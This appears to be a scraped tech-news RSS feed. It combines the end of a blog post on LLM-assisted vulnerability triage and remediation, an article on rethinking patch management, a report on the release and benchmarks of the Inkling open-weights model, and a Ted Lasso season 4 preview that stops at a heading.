<p><span>When integrating LLMs into SAST triage pipelines, human engineers should also verify the broader architectural integrity. Prompting an LLM with specific SAST warnings can induce contextual narrowing, where the agent becomes hyper-fixated on resolving a localized syntax error and misses broader architectural flaws existing in the same file. Furthermore, if the agent's mandate extends beyond discovery to automated remediation (such as writing and proposing code fixes), this human-in-the-loop validation becomes critical to ensure the LLM does not inadvertently introduce new regressions or bypass intended business logic.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_20.max-1000x1000.png" alt="Demistiying Image 6 New">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 6: Flowchart outlining the targeted LLM deployment and triage workflow.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Remediation and hardening</span></h3>
<h4><span>LLM-assisted code remediation</span></h4>
<p><span>A primary goal of integrating large language models (LLMs) into the software development lifecycle is automated remediation. To achieve this, organizations are deploying these capabilities through two primary execution methods: directly within the integrated development environment (IDE) or as a centralized pipeline runner. Examples include </span><a href="https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/" rel="noopener" target="_blank"><span>CodeMender</span></a><span>, although as of time of writing, it is not publicly available.</span></p>
<h4><strong>IDE-integrated method</strong><span> </span></h4>
<p><span>This method shifts remediation as far left as possible by operating as an active pair-programmer. Tools running continuous static analysis in the background of the IDE surface vulnerabilities directly to the developer via editor diagnostics like inline indicators or hover tooltips.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Localized scope:</strong><span> The developer can trigger the LLM agent to analyze the localized data flow and generate a targeted patch (such as implementing parameterized SQL queries). By constraining the LLM to localized, syntax-level fixes, the scope of the change remains contained. This prevents the agent from attempting sprawling, multi-file refactors that frequently break complex architectural logic.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Human-in-the-loop:</strong><span> The developer reviews the AI-generated patch before the code is committed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Managing false positives:</strong><span> Local IDE agents allow developers to manage false positives dynamically. Suppressing alerts anchored to specific line text reduces alert fatigue and preserves developer trust.</span></p>
</li>
</ul>
<h4><strong>CI/CD runner method</strong><span> </span></h4>
<p><span>The runner method executes asynchronously within the CI/CD pipeline to use an LLM to review committed code and automatically propose remediation.</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Restricted execution and deterministic validation: </strong><span>Asking a centralized runner to automatically rewrite a complex, multi-file authorization flaw directly in the main branch introduces a high risk of breaking logic errors. To mitigate this, agents must be restricted to generating pull requests (PRs). Once a PR is generated, it must automatically execute standard regression suites alongside the deterministic test harness. By rerunning the initial PoC against the patched code, the workflow repurposes the exploit script as a validation oracle to prove the vulnerability has been remediated. A human engineer then reviews the PR to validate the architectural logic before merging.</span></p>
</li>
</ul>
<p><span>In all cases security teams should define a clear boundary between the two methods rather than rely on a single approach. IDE agents provide immediate, syntax-level support. They catch and resolve low-complexity errors locally before developers commit code. Centralized CI/CD runners handle broader organizational baselines. They propose complex, repository-wide fixes for vulnerabilities that bypass local environments.</span></p>
<h4><strong>Post-deployment controls</strong><span> </span></h4>
<p><span>Even with human review and deterministic test harnesses, AI-generated patches can still introduce logic regressions in production. Organizations should implement strict post-deployment controls:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Automated rollbacks:</strong><span> Treating LLM-generated code with the same post-deployment scrutiny as any major architectural change ensures that if an unforeseen regression traverses the CI/CD pipeline, the environment can revert to a known good state.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Mitigating model drift:</strong><span> Relying on managed AI services introduces the ongoing risk of model drift. To prevent silent weight updates from breaking test harnesses, organizations need to pin specific model API versions to frozen releases. When a pinned version reaches its end-of-life, organizations will face a forced migration. Mitigating this pipeline fragility requires combining model pinning with deterministic regression suites.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compliance and auditability:</strong><span> If an AI agent automatically closes a security ticket or generates a patch in the CI/CD pipeline, organizations should maintain immutable audit logs to satisfy frameworks like SOC 2 ,PCI-DSS, FedRAMP, and CMMC. National security deployments must also account for data sovereignty requirements. This logging should record the specific model version that proposed the fix, the deterministic test results that validated it, and the human engineer who approved the merge. Furthermore, because emerging legislation like the EU AI Act emphasizes human oversight for high-risk applications, security teams should carefully evaluate how autonomous remediation workflows align with these evolving global regulatory standards.</span></p>
</li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Screenshot_2026-07-15_at_10.24.22PM.max-1000x1000.png" alt="demistifying image 7">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="bg92b">Figure 7: Flowchart demonstrating the difference between local IDE AI remediation and centralized CI/CD pipeline remediation.</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Conclusion</span></h3>
<p><span>Leveraging LLMs in vulnerability management is a multi-layer solution: Integrating it requires separating workflows by layer. At the enterprise infrastructure level, Risk-Based Vulnerability Management (RBVM) and exposure management are necessary to process the volume of findings and configuration drift. At the product and code security level, LLM-enabled vulnerability assessment and remediation must operate alongside foundational deterministic controls, such as SAST and DAST, to audit custom, open-source, or third-party code.</span></p>
<p><span>Although LLMs can help manage technical debt and accelerate vulnerability discovery, they do not replace secure-by-design principles. The fact that LLM agents are proving exceptionally capable at identifying and exploiting localized memory corruption in memory-unsafe codebases, alongside other primary vectors, should serve as a wake-up call. </span></p>
<p><span>As a long-term strategy aligned with </span><a href="https://media.defense.gov/2022/Nov/10/2003112742/-1/-1/0/CSI_SOFTWARE_MEMORY_SAFETY.PDF" rel="noopener" target="_blank"><span>NSA guidance on Software Memory Safety</span></a><span>, organizations need to phase memory-safe languages into new internal development. LLMs are beginning to expand what is possible here by reducing the manual labor required for code migration. Converting existing C or C++ codebases to Rust has historically been unrealistic due to the large volume of engineering hours needed. While fully automated translation is not a turn-key solution, using LLMs to assist engineers with the bulk of the conversion can make these long-term migrations operationally viable. Beyond internal efforts, organizations should use procurement requirements to incentivize vendors to reduce their reliance on memory-unsafe languages and establish secure configuration defaults over time. Bridging the gap between AI velocity and enterprise defense means building an automated pipeline to manage the current backlog, while architecting systems where entire classes of vulnerabilities and misconfigurations are eliminated by design.</span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Google Threat Intelligence Group (GTIG) and other broader Google teams.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Flaw surge fuels need for CISOs to rethink vulnerability management]]></title>
<description><![CDATA[Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.



Attackers are turning to AI to increase the rate of vulnerability exploitation and supply chain...]]></description>
<link>https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672628/it-security-nachrichten/flaw-surge-fuels-need-for-cisos-to-rethink-vulnerability-management/</guid>
<pubDate>Thu, 16 Jul 2026 09:24:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Security experts are calling on enterprises to revise their vulnerability management strategies and move towards “just in time” patching in response the increased pace of vulnerability exploitation.</p>



<p class="wp-block-paragraph">Attackers are <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">turning to AI</a> to increase the <a href="https://www.csoonline.com/article/3632268/gen-ai-is-transforming-the-cyber-threat-landscape-by-democratizing-vulnerability-hunting.html">rate of vulnerability exploitation</a> and supply chain compromise so that traditional forms of vulnerability management are no longer keeping pace.</p>



<p class="wp-block-paragraph">Muhammad Yahya Patel, vCISO and cybersecurity advisor for EMEA at managed security services vendor Huntress, recently <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">told CSO</a> that “organizations need to shift their vulnerability management program to a risk-based, continuous [approach], tied to real-time exploitation intelligence — not scheduled patch cycles that leave exploitation windows wide open for days and weeks.”</p>



<h2 class="wp-block-heading">Wild frontier</h2>



<p class="wp-block-paragraph">Frontier AI tools such as Claude Mythos have <a href="https://www.csoonline.com/article/4158117/anthropics-mythos-signals-a-structural-cybersecurity-shift.html">signaled a structural shift for cybersecurity</a>, readily surfacing vulnerabilities at a huge scale — a development that, as government security assurance organizations such as the UK’s National Cyber Security Centre point out, is likely to lead to a surge in patches.</p>



<p class="wp-block-paragraph">“Most organizations already struggle to fix known issues quickly, so a spike in AI-driven discovery could easily overwhelm teams and widen the gap between finding problems and fixing them,” Andrew Woodford, CTO at network security vendor Titania, tells CSO. “In many ways, this just exposes a problem that’s already there.”</p>



<p class="wp-block-paragraph">Shane Fry, CTO at cybersecurity vendor RunSafe Security, argues that <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">patching as a security strategy</a> has been in crisis for years, and AI-accelerated vulnerability discovery has simply pushed it over the edge.</p>



<p class="wp-block-paragraph">Some experts contend that virtual patching — a technique that involves blocking exploit attempts at a security layer rather than fixing vulnerable code — represents a sound mitigation strategy, but Fry has reservations about the approach.</p>



<p class="wp-block-paragraph">“While virtual patching will play a role going forward, its effectiveness is limited and leaves security teams chasing a gap they will never be able to close,” Fry says.</p>



<p class="wp-block-paragraph">Instead, security teams need to shift toward mitigation-first approaches that make it impossible for attackers to exploit bugs in software.</p>



<p class="wp-block-paragraph">“Removing entire classes of exploits upfront takes the heat out of the patch gap, and allows patching to become strategic rather than reactive,” Fry argues.</p>



<h2 class="wp-block-heading">‘Assume Autonomy’</h2>



<p class="wp-block-paragraph">The conventional patch management model was designed around a world where vulnerability discovery happened at human speed: A human researcher finds a flaw, reports it, a CVE gets assigned, vendors ship a fix, enterprises test and deploy it — a process that can take weeks.</p>



<p class="wp-block-paragraph">AI-powered vulnerability discovery blows this model out of the water.</p>



<p class="wp-block-paragraph">“If offensive AI can identify, validate, and exploit vulnerabilities without human authorization, a 43-day median patch time, as noted in Verizon’s DBIR, is the least of your problems,” argues Rik Ferguson, vice president of security intelligence at Forescout. “An AI system doesn’t wait for a proof-of-concept to circulate on GitHub or a CVSS score to land in a dashboard. It finds the flaw, confirms exploitability, and moves.”</p>



<p class="wp-block-paragraph">Ferguson advocates a change of approach toward what he describes as “Assume Autonomy.”</p>



<p class="wp-block-paragraph">“The question is what compensating controls you put in place between discovery and remediation, and how you constrain what an attacker can do with access they’ve already acquired,” Ferguson explains.</p>



<p class="wp-block-paragraph">Just-in-time patching fits in with this philosophy and is a desirable goal but may be difficult to achieve in practice especially for the many enterprises that struggle with asset management.</p>



<p class="wp-block-paragraph">“Just-in-time patching is sound in principle: prioritize and deploy fixes as exploitation intelligence emerges rather than waiting for the scheduled window,” Ferguson says. “But achieving it has some real-world requirements: continuous asset visibility, knowing precisely what you have, where it is, and what its current exposure status is.”</p>



<p class="wp-block-paragraph">For example, Ferguson adds, “you can’t patch just-in-time against a vulnerability in a device you didn’t know was on your network.”</p>



<h2 class="wp-block-heading">Virtual patching</h2>



<p class="wp-block-paragraph">Gunter Ollmann, CTO at pen testing as a service firm Cobalt, notes that just-in-time patching makes sense if and when a patch is available — but that’s not always possible.</p>



<p class="wp-block-paragraph">“The major problem lies in the discovery of new vulnerabilities in code or systems that the business has no rights or capabilities to fix themselves, and they have a dependence upon third parties to develop the fix or patch — and are therefore subject to external SLA [service level agreement] turnarounds,” Ollmann explains.</p>



<p class="wp-block-paragraph">In such cases, enterprises will need to deploy virtual patches capable of blocking or deflecting the exploitation vectors of the vulnerable system.</p>



<p class="wp-block-paragraph">“Businesses are in desperate need of quickly deciphering a new vulnerability and dynamically creating an appropriate blocking rule — or rules — for their layered defenses,” Ollmann says.</p>



<p class="wp-block-paragraph">Virtual patching may mitigate security threats particularly in operational technology (OT) and IoT environments where applying a vendor patch to a running production system risks unplanned downtime or safety system interruption but only serves as a stop gap, Ferguson tells CSO.</p>



<p class="wp-block-paragraph">“A network-layer control that blocks exploitation of a known flaw, while you work through the testing and deployment cycle for the actual fix, is a compensating control,” notes Ferguson, who warns that virtual patches come with multiple drawbacks.</p>



<p class="wp-block-paragraph">“Virtual patches require accurate detection signatures, they don’t remediate the underlying vulnerability, and they can create a false sense of closure that delays proper patching indefinitely,” Ferguson argues. “The risk is that temporary becomes permanent. The underlying vulnerability stays open, and the virtual patch becomes the reason nobody revisits it.”</p>



<h2 class="wp-block-heading">Just-in-time risk reduction</h2>



<p class="wp-block-paragraph">Douglas McKee, director of vulnerability intelligence at Rapid7, advocates what he describes as just-in-time risk reduction rather than just-in-time patching because of the practical difficulties with the latter.</p>



<p class="wp-block-paragraph">“In the real world, especially in OT, medical devices, and business-critical systems, you can’t always patch the second a CVE drops,” McKee argues. “You still need testing, maintenance windows, rollback plans, and someone who actually owns the asset. However, the old monthly scan, report, and remediation cycle will not survive this pace.”</p>



<h2 class="wp-block-heading">Tips for modernizing vulnerability management</h2>



<p class="wp-block-paragraph">The enterprise attack surface has expanded significantly of late, and patch management models haven’t kept up. In response, security leaders’ vulnerability management strategies have to become more of a continuous monitoring function, not a triage and remediation process.</p>



<p class="wp-block-paragraph">Modernizing enterprise approaches to vulnerability management involves “real-time exploitation intelligence integrated into prioritization, compensating controls deployed at discovery rather than at patch release, and visibility across the full asset estate that conventional patch management tools were never designed to cover,” Ferguson says.</p>



<p class="wp-block-paragraph">Rapid7’s McKee stresses that security teams need to separate “known vulnerable” from “actually reachable and exploitable in my environment.”</p>



<p class="wp-block-paragraph">This process can be achieved through a combination of asset inventory, internet exposure mapping, KEV tracking, vulnerability intelligence, ownership, and emergency change paths.</p>



<p class="wp-block-paragraph">“Prioritization based on risk factors like public exposure, known exploitation, automation potential, and technical impact is key,” McKee concludes.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thinking Machines open sources first multimodal language model, Inkling, focused on low cost and 'resistance to censorship']]></title>
<description><![CDATA[Enterprises looking to move more of their agentic AI workloads to open weights models they can customize, control and run on-premises or in virtual private clouds have a strong new contender to consider.Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI C...]]></description>
<link>https://tsecurity.de/de/3672034/it-nachrichten/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672034/it-nachrichten/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises looking to move more of their agentic AI workloads to open weights models they can customize, control and run on-premises or in virtual private clouds have a strong new contender to consider.</p><p>Today, Thinking Machines—the highly capitalized American AI startup founded by former OpenAI CTO Mira Murati—<a href="https://thinkingmachines.ai/news/introducing-inkling/">released Inkling</a>, its first major language model under an<a href="https://choosealicense.com/licenses/apache-2.0/"> enterprise-friendly Apache 2.0 open source license</a>, and it boasts high, if sub state-of-the-art, performance for open weights models on third-party benchmarks, specifically software engineering (77.6% on SWE-bench Verified, where it beats fellow U.S. open rival Nvidia Nemotron 3's 71.9%) and voice understanding (91.4% on VoiceBench compared to 94.4% for Gemini 3.1 Pro on high reasoning effort).</p><p>Another differentiator: Thinking Machines notes that Inkling was designed "to answer directly on topics that may be subject to censorship," offering enterprises concerned about factual outputs, irrespective of controversy or sensitivity, a more trustworthy option. </p><p>Coming in at 975 billion total parameters, Inkling is a natively multimodal, open-weights Mixture-of-Experts (MoE) system capable of reasoning across text, images, and audio. The weights <a href="https://huggingface.co/thinkingmachines/Inkling">are already available on Hugging Face</a> and the company's own model training application programming interface (API), <a href="https://thinkingmachines.ai/tinker/">Tinker</a>.</p><p>Designed to balance cost against performance through a novel "controllable thinking effort" mechanism, the model represents a significant departure from the black-box scaling strategies of frontier competitors.</p><p>Alongside the flagship model, Thinking Machines also announced a preview of Inkling-Small, a lighter 276-billion-parameter alternative optimized for workloads where low latency and cost are paramount.</p><h2><b>Benchmarks Show a Powerful, High-End, Sub State-of-the-Art Model</b></h2><p>While Inkling is a formidable multimodal engine, it lands in a fiercely competitive 2026 open-weight landscape characterized by highly specialized MoE architectures. Rather than attempting to dominate every leaderboard, Thinking Machines explicitly designed Inkling—with 975 billion total and 41 billion active parameters—as a broad, balanced generalist. </p><p>For example, it comes in near the middle high-end of benchmark performance 1257 on Design Arena’s Agentic Web Dev leaderboard measuring human scores of frontend web design. </p><p>But China’s leading AI labs have produced models with elite reasoning and coding capabilities, posing a stiff challenge to Inkling's generalist approach and ultimately outperforming it on general and coding benchmarks.</p><ul><li><p><b>GLM 5.2:</b> Widely considered the top open-weight reasoning model available in the benchmark set, GLM 5.2 outperforms Inkling on pure coding, agentic, and complex reasoning tasks. It scores 62.1% on SWEBench Pro (Public) compared to Inkling’s 54.3%, and a massive 82.7 on Terminal Bench 2.1 against Inkling’s 63.8. GLM 5.2 also holds the edge in text-only reasoning, scoring 40.1% on HLE (text only) versus Inkling's 30.0%.</p></li><li><p><b>DeepSeek V4 Pro:</b> DeepSeek maintains an edge in several strict coding and factuality domains, beating Inkling on SWEBench Verified (80.6% vs. 77.6%) and SimpleQA Verified (57.0% vs. 43.9%). However, Inkling successfully overtakes DeepSeek V4 Pro in mathematical problem-solving, achieving 97.1% on AIME 2026 compared to DeepSeek's 96.7%.</p></li><li><p><b>Kimi K2.6:</b> This model outpaces Inkling across multiple technical benchmarks, delivering higher scores on GPQA Diamond (91.1% vs. 87.9%), BrowseComp (83.2% vs. 77.1%), and HLE with tools (54.0% vs. 46.0%). Yet Inkling proves more resilient on general chat instruction following, scoring 79.8% on IFBench compared to Kimi K2.6's 76.0%.</p></li></ul><p>Against its primary U.S.-based open-weight competition, Inkling demonstrates strong parity and frequent superiority.</p><ul><li><p><b>Nemotron 3 Ultra:</b> Inkling consistently outperforms this U.S. rival across reasoning and coding. Inkling posts 97.1% on AIME 2026 and 77.6% on SWEBench Verified, beating Nemotron's 94.2% and 70.7%, respectively. Furthermore, Inkling significantly leads in agentic workflows, scoring 74.1% on MCP Atlas against Nemotron's 44.7%.</p></li></ul><p>When compared to closed-source juggernauts like Claude Fable 5, GPT 5.6 Sol, and Gemini 3.1 Pro, Inkling trails in peak reasoning and software engineering autonomy, but remains highly competitive in multimodality.</p><ul><li><p><b>Coding and Reasoning:</b> Closed models maintain a commanding lead. Claude Fable 5 (max) hits 95.0% on SWEBench Verified and 53.3% on HLE (text only), far outpacing Inkling's 77.6% and 30.0%. GPT 5.6 Sol dominates Terminal Bench 2.1 with an 89.5, easily clearing Inkling's 63.8.</p></li><li><p><b>Native Multimodality:</b> Inkling's native visual and audio capabilities hold their own. On the MMMU Pro (Standard 10) vision benchmark, Inkling's 73.3% is competitive, though trailing Claude Fable 5's 84.2% and GPT 5.6 Sol's 83.0%. In audio processing, Inkling scores a highly respectable 77.2% on MMAU, keeping it within striking distance of Gemini 3.1 Pro's 82.5%.</p></li></ul><p>If an enterprise workflow demands elite software engineering autonomy or the highest bounds of text-only reasoning, models like GLM 5.2 or proprietary systems like Claude Fable 5 maintain the edge. </p><p>However, Inkling carves out a unique and highly defensible position: it is the most capable open-weight foundation model that natively fuses text, vision, and audio, while simultaneously offering developers direct programmatic control over the cost-to-performance ratio. </p><h2><b>The Shift from Static Reasoning to Controllable Thinking</b></h2><p>Rather than attempting to build a singular "god model" optimized strictly for state-of-the-art benchmark domination, Thinking Machines engineered Inkling for adaptability and efficiency in real-world workflows.</p><p>The standout feature of this release is Inkling's "controllable thinking effort." Developers can programmatically adjust the model's reasoning budget—scaling from 0.2 to 0.99—to dictate how hard the AI should "think" before generating an output. </p><p>As the company noted, "Inkling's continuous thinking effort lets you pick your point on the cost/performance curve—reaching the same score with a fraction of the tokens".</p><p>In practical terms, this allows enterprises to deploy Inkling with lower token expenditure for simpler tasks, while cranking up the compute overhead for complex, multi-step reasoning challenges. However, by keeping the thinking effort lower and generating fewer tokens, the cost-conscious enterprise can achieve high quality results and performance on simple tasks while spending less money, or, in the case of those running models locally, less costs on energy and compute resources.</p><p>During the model’s large-scale reinforcement learning (RL) training over 30 million rollouts, researchers observed an emergent phenomenon they called "chain of thought condensation". Over time, Inkling naturally learned to compress its internal reasoning steps—dropping grammatical overhead and connectives—while reaching the same accurate conclusions, resulting in drastically reduced latency.</p><h2><b>Epistemics and Censorship Resistance</b></h2><p>A notable element of Thinking Machines' release is its explicit focus on the model's epistemics—specifically its calibration, instruction following, and resistance to censorship. </p><p>In an ecosystem where open-weight models adopt either overly restrictive safety guardrails or echo state-aligned ideological talking points, Inkling was intentionally trained to answer directly on politically sensitive or heavily censored topics.</p><p>To validate this approach, Thinking Machines submitted Inkling to the <i>Propaganda and Censorship Eval</i> developed by AI startup Cognition. According to the published findings, Inkling demonstrated "strong patterns of censorship non-compliance," effectively resisting ideological capture or boilerplate refusals when presented with sensitive subjects.</p><p>Despite its resistance to censorship, the model maintains a robust defense against genuinely malicious, dangerous, or illegal queries. On the StrongREJECT benchmark—which tests responses to unambiguous harmful requests—Inkling scored 98.6%, placing it in line with strict frontier safety standards. Furthermore, on the FORTRESS benchmark, Inkling successfully navigated the line between safety and over-refusal: it achieved a 78.0% refusal rate on adversarial queries (such as those involving weapons, cyberattacks, or violence) while maintaining a 95.9% compliance rate on benign, look-alike queries.</p><p>Thinking Machines noted that typical open-weight vulnerabilities remain within the architecture. Internal safety evaluations revealed an "occasional tendency to comply with role-play and indirectly framed prompts concerning harmful topics". The company advised enterprise developers to treat the model's built-in refusals as just one layer of security, recommending the downstream deployment of external moderation tools—such as Llama Guard—to filter adversarial jailbreaks and enforce use-case-specific safety policies at the application level.</p><h2><b>Under the Hood: Architecture and Multimodality</b></h2><p>Inkling's scale is staggering, yet sparse. The MoE architecture features 975 billion total parameters, but only 41 billion parameters are active during any given token generation. It supports a massive context window of 1 million tokens and diverges from typical transformer models by using relative positional embeddings instead of the industry-standard Rotary Positional Embedding (RoPE).</p><p>True to the company's foundational vision, Inkling was trained from scratch to be natively multimodal. Unlike models that rely on bolted-on external encoders, Inkling uses an encoder-free early fusion approach. It directly ingests audio as discrete dMel spectrograms and visual data as 40x40 pixel patches via a hierarchical multi-layer perceptron (hMLP), projecting all modalities into a shared hidden space.</p><h2><b>Licensing: True Open-Source for the Enterprise</b></h2><p>For enterprise IT teams and developers, the most disruptive aspect of Inkling may be its licensing. Inkling is released under the permissive Apache 2.0 license.</p><p>In an ecosystem where many so-called "open" models from Western labs are tethered to dual-use commercial licenses, acceptable use restrictions, or revenue caps, an Apache 2.0 designation makes Inkling a true open-source foundation. This gives developers the legal freedom to download, modify, integrate, and commercialize the model weights entirely royalty-free.</p><p>The model is readily deployable across major open-source inference libraries—including SGLang, vLLM, TokenSpeed, and llama.cpp—and comes with a native NVFP4 quantized checkpoint optimized for NVIDIA Blackwell systems.</p><h2><b>Community Reactions: The Engineering Feat</b></h2><p>The AI community's response has been swift, praising both the model's openness and the underlying engineering execution.</p><p>In a<a href="https://x.com/johnschulman2/status/2077460227327467982"> post on X</a>, Thinking Machines co-founder John Schulman reflected on the rapid development cycle: "Inkling is out today, with open weights and in Tinker. It's been fun to watch this one come together: pretraining began last winter, and starting in mid-January a small team built up the coding, reasoning, and agentic training from there. We learned a lot building it, and I hope people find good uses for it."</p><div></div><p>Horace He, a researcher at Thinking Machines (previously from PyTorch), underscored the difficulty of the task in <a href="https://x.com/cHHillee/status/2077457790423969806">another post on X</a>: "It truly takes a village to release a model, perhaps especially an open weights model. Actually doing the entire process from scratch, from data to pretraining to posttraining to actual release, gives a lot of appreciation for anyone who does it!"</p><div></div><p>The broader open-source ecosystem has also embraced the technical integrations. Lysandre Debut, the Chief Open-Source Officer at Hugging Face, shared his enthusiasm regarding the model's optimization<a href="https://x.com/LysandreJik/status/2077459011285512267"> in his own X post</a>: "One thing I find quite striking is how much easier accelerating models has become... We replaced the model's causal Conv1D with the `causal-conv1d` kernel. One line changed, +4% tokens per second. We then replaced its attention implementation with FlashAttention-4. Another single change, another +11%. That's a total throughput improvement of about 15%, without changing the model architecture or retraining anything."</p><p>Tiezhen Wang, an ecosystem growth expert and ex-Googler, celebrated the release as a massive win for the open-source community, listing the model's impressive specifications on X, highlighting its "975B total, 41B active" size, "Native MTP support," and the highly coveted "Apache 2.0 license."</p><h2><b>Background: The Road to Inkling</b></h2><p>To understand the significance of Inkling, one has to look back at the rapid trajectory of Thinking Machines over the past 18 months.</p><p>When<a href="https://venturebeat.com/technology/ex-openai-cto-mira-murati-unveils-thinking-machines-a-startup-focused-on-multimodality-human-ai-collaboration"> Mira Murati departed OpenAI in late 2024 to found Thinking Machines</a> alongside industry veterans like John Schulman and Barret Zoph, the stated goal was to pivot away from building isolated autonomous agents. Instead, the company aimed to build flexible, multimodal systems designed for genuine human-AI collaboration and open science.</p><p>By July 2025, the startup had secured a historic $2 billion seed round led by Andreessen Horowitz at a $12 billion valuation. At the time, Murati promised the<a href="https://venturebeat.com/technology/mira-murati-says-her-startup-thinking-machines-will-release-new-product-in-months-with-significant-open-source-component"> impending release of a product with a "significant open source component" </a>to empower researchers and startups.</p><p>The company’s philosophy began coming into sharper focus in October 2025 with the launch of <a href="https://venturebeat.com/technology/thinking-machines-first-official-product-is-here-meet-tinker-an-api-for">Tinker</a>, a Python-based API for large language model fine-tuning that gave researchers granular control over training pipelines without the friction of distributed compute management.</p><p>That same month, Thinking Machines researcher <a href="https://venturebeat.com/ai/thinking-machines-challenges-openais-ai-scaling-strategy-first">Rafael Rafailov delivered a provocative critique of the AI industry at TED AI</a>. He argued that the current trajectory of simply throwing more compute at models was fundamentally flawed, noting that today's systems take shortcuts—like wrapping code in<code> try/except</code> blocks—because they are trained strictly for task completion rather than genuine learning. </p><p>Rafailov posited that the first artificial superintelligence would not be a "god model," but rather a "superhuman learner" capable of meta-learning and internalizing abstractions. Inkling’s architecture—specifically its controllable thinking effort and its ability to organically compress its chain of thought during RL—feels like the first tangible realization of Rafailov's thesis.</p><p>In May 2026, the lab teased its technical prowess with the<a href="https://venturebeat.com/technology/thinking-machines-shows-off-preview-of-near-realtime-ai-voice-and-video-conversation-with-new-interaction-models"> research preview of TML-Interaction-Small</a>, a system that eliminated "turn-based" chat by processing inputs and outputs simultaneously in 200ms chunks. This "full-duplex" breakthrough proved the company could build highly responsive, natively multimodal models from scratch.</p><p>Now, with Inkling out in the wild, Thinking Machines has delivered on its foundational promises. By offering a massive, natively multimodal model under a true open-source license, they aren't just giving developers a new tool—they are attempting to fundamentally rewrite the economics and accessibility of frontier AI development.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ted Lasso Season 4 Release Date, Cast and Story: Everything Confirmed So Far]]></title>
<description><![CDATA[Ted Lasso Season 4 officially arrives on Apple TV on August 5, 2026. Jason Sudeikis returns as Ted, who faces a completely new challenge after leaving AFC Richmond and returning home at the end of Season 3.




Release date: August 5, 2026



Streaming platform: Apple TV



Genre: Sports comedy-d...]]></description>
<link>https://tsecurity.de/de/3670810/ios-mac-os/ted-lasso-season-4-release-date-cast-and-story-everything-confirmed-so-far/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670810/ios-mac-os/ted-lasso-season-4-release-date-cast-and-story-everything-confirmed-so-far/</guid>
<pubDate>Wed, 15 Jul 2026 15:24:38 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ted Lasso Season 4 officially arrives on Apple TV on August 5, 2026. Jason Sudeikis returns as Ted, who faces a completely new challenge after leaving AFC Richmond and returning home at the end of Season 3.




Release date: August 5, 2026



Streaming platform: Apple TV



Genre: Sports comedy-drama



Number of episodes: 10



Release schedule: One new episode every Wednesday



Season finale date: October 7, 2026



Lead cast: Jason Sudeikis, Hannah Waddingham, Juno Temple, Brett Goldstein, Brendan Hunt and Jeremy Swift



New cast: Tanya Reynolds, Jude Mack, Faye Marsay, Rex Hayes, Aisling Sharkey, Abbie Hern and Grant Feely




The first episode will premiere on August 5, followed by weekly episodes through October 7. This means viewers will once again follow the season over several weeks instead of receiving all 10 episodes at once.




https://www.youtube.com/watch?v=PxZg4SfIURg




What is the story of Ted Lasso Season 4?



Possible spoilers for the first three seasons follow.



Season 4 brings Ted back to Richmond, where he begins coaching a second-division women’s football team. The new position becomes one of the biggest challenges of his career, as Ted must build another team while adjusting to a different side of professional football.



The storyline follows the idea introduced near the end of Season 3, when Keeley presented Rebecca with plans to create an AFC Richmond women’s team. That proposal now appears to form the main foundation of the new season.



Ted’s return also raises several personal questions. Season 3 ended with him leaving England to spend more time with his son, Henry. Season 4 will need to explain why he returns to Richmond, how his family situation has changed, and whether Henry becomes part of his life in England.



The official description says Ted and the new team will learn to take chances before knowing how everything will work out. That theme fits the show’s focus on personal growth, teamwork, and people finding confidence during uncertain moments.



Which cast members are returning?



